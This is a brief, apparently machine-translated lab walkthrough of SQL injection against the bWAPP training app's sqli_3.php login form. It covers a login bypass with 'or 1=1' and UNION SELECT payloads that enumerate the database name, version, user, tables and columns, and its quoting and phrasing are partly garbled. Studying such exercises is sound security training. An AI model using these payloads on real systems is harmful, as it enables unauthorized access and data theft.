1, first enter a single quotation mark in the login box to see what results, the result
Look carefully, the error content of "and" before there are four single quotes, indicating that we entered a single quotation mark and the code before the single quotation mark closed.
2, try to construct a universal password, try to enter
"Login=1 ' or 1=1--+
&password=
&form=submit ", as if not, in trying to enter
"Login=1 ' or 1=1 #+
&password=
&form=submit ", by the end,
3. Judge the number of fields and view the display bits:
Enter "Login=1 ' ORDER by 5 #+", quote "error:unknown column ' 5 ' in ' order clause '", enter "Login=1 ' ORDER by 4 #+", report "Invalid credentials ! ", the Description field is 4, the result
Enter "Login=-1 ' union select 1,2,3,4 #+", result
4, check the database and other information:
Enter "Login=-1" union Select 1,database (), 3,group_concat (version (), "| |", user ()) #+ ", knowing that the database name is Bwapp, the result
5. Query Table name:
Enter "Login=-1" union Select 1,database (), 3,table_name from Information_schema.tables where table_schema= ' Bwapp ' #+ ', Knowing that the table name is blog, the result
6. Query Field Name:
Enter "Login=-1" union Select 1,database (), 3,column_name from Information_schema.columns where table_name= ' Blog ' #+ ', Knowing that the field name is ID, the result
7, query the contents of the field:
Enter "Login=-1" union Select 1,database (), 3,id from Blog #+ ", no data.
The Bwapp of SQL injection sqli_3.php